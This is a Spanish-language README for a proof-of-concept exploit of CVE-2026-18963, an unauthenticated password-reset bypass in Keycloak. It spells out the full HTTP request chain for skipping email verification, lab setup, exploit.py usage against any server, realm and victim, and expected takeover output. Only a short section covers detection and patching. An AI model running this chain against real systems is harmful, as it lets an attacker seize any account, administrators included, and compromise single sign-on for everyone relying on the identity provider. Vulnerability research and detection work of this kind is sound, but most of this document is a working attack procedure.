
Exploit de prueba de concepto para CVE-2026-18963, un bypass crítico de restablecimiento de credenciales de Keycloak que permite la toma de control de cuentas sin autenticación. Incluye configuración del laboratorio, guía de detección y pasos de remediación para pruebas autorizadas.
Toma de control de cuenta no autenticada en el flujo de reset de credenciales de Keycloak. Un atacante que solo conozca un nombre de usuario/correo electrónico puede restablecer la contraseña de cualquier usuario — incluidos los administradores — sin recibir jamás el correo de verificación.
Esta prueba de concepto se publica estrictamente con fines educativos, investigación defensiva, ingeniería de detección y pruebas de seguridad autorizadas.
Consulta DISCLAIMER.md para la declaración completa.
| CVE | CVE-2026-18963 |
| Severidad | Crítica — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Debilidad | CWE-640 — Mecanismo débil de recuperación de contraseña |
| Afectados | Keycloak < 26.7.2 (upstream). También las versiones de Red Hat corregidas mediante los paquetes 26.6.6 / 26.4.15 |
| Corregido | Keycloak 26.7.2 (PR #51844) |
| Precondiciones | Forgot password (reset de credenciales) habilitado en el realm — la opción por defecto |
| Impacto | Toma de control total de cualquier cuenta (incluidos los administradores del realm) → compromiso del IdP + acceso SSO lateral |
El flujo de restablecimiento de contraseña (reset-credentials) normalmente te obliga a hacer clic en un enlace
enviado por correo al propietario de la cuenta antes de poder establecer una nueva contraseña. Dos defectos permiten
a un atacante omitir esa comprobación por completo:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" sin delimitar por el ID de ejecución.
Reingresar al flujo deja la sesión de autenticación en un estado confuso/obsoleto.ResetCredentialEmail.action() llama
a context.success() sin verificar ACTION_TOKEN_USER_ID (es decir, sin
confirmar que el token de acción enviado por correo se consumió realmente).Encadenarlos avanza la sesión de autenticación directamente al paso
UPDATE_PASSWORD para un usuario arbitrario, sin necesidad de correo.
GET /auth (client_id=account) ── página de login (tiene "Forgot password?")
GET /login-actions/reset-credentials … ── formulario de selección de usuario
POST …reset-credentials tryAnotherWay=on ── error #1: entrar al selector "Try Another Way"
POST …reset-credentials username=<victim> ── seleccionar usuario mediante el selector
GET …/restart … ── refrescar el estado de la sesión
GET /login-actions/reset-credentials … ── reingresar → selector OBSOLETO (estado corrupto)
POST …reset-credentials username=<victim> ── error #2: salta a UPDATE_PASSWORD (¡sin token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → contraseña cambiada → TOMA DE CONTROL
Consulta docs/ROOTCAUSE.md para ver el diff anotado del parche.
Necesitas Docker y Python 3 con requests.
# 1) Levantar un Keycloak vulnerable + realm/usuario de demostración (cualquier versión < 26.7.2)
./run_lab.sh # usa keycloak/keycloak:26.5.0
# 2) Ejecutar el exploit contra el usuario de demostración 'victim'
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
Salida final esperada:
[7] *** formulario update-password servido SIN token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOTADO. Login: victim / Pwned-2026!
Después inicia sesión como victim / Pwned-2026! para confirmar la toma de control.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# se detiene pronto — el formulario update-password nunca se sirve
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base URL base de Keycloak, p. ej. http://127.0.0.1:8080
--realm realm objetivo (por defecto: master)
--client cliente público sin PKCE (por defecto: account)
--victim nombre de usuario o correo de la víctima
--new-pass contraseña a establecer
--proxy enrutar a través de un proxy, p. ej. http://127.0.0.1:8081 (Burp)
-k omitir la verificación TLS
Cada respuesta HTTP se escribe en ./dump/ para su inspección.
Keycloak ya usa 8080, así que apunta el listener de Burp a otro puerto (p. ej. 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
La cadena de peticiones cruda para Burp Repeater está en
requests/burp-chain.txt.
Busca un cambio de contraseña que no haya ido precedido de verificación por correo en la misma sesión de autenticación:
UPDATE_PASSWORD sin un VERIFY_EMAIL /
EXECUTE_ACTION_TOKEN previo para esa sesión.reset-credentials con tryAnotherWay=on.login-actions/reset-credentials para el mismo tab_id.Una ejecución completa está grabada en CVE-2026-18963.mp4 (en la raíz del repositorio).
La cadena se corroboró contra el parche público de Keycloak (PR #51844) y write-ups de la comunidad.
MIT © red-darkin — solo para uso educativo y pruebas autorizadas.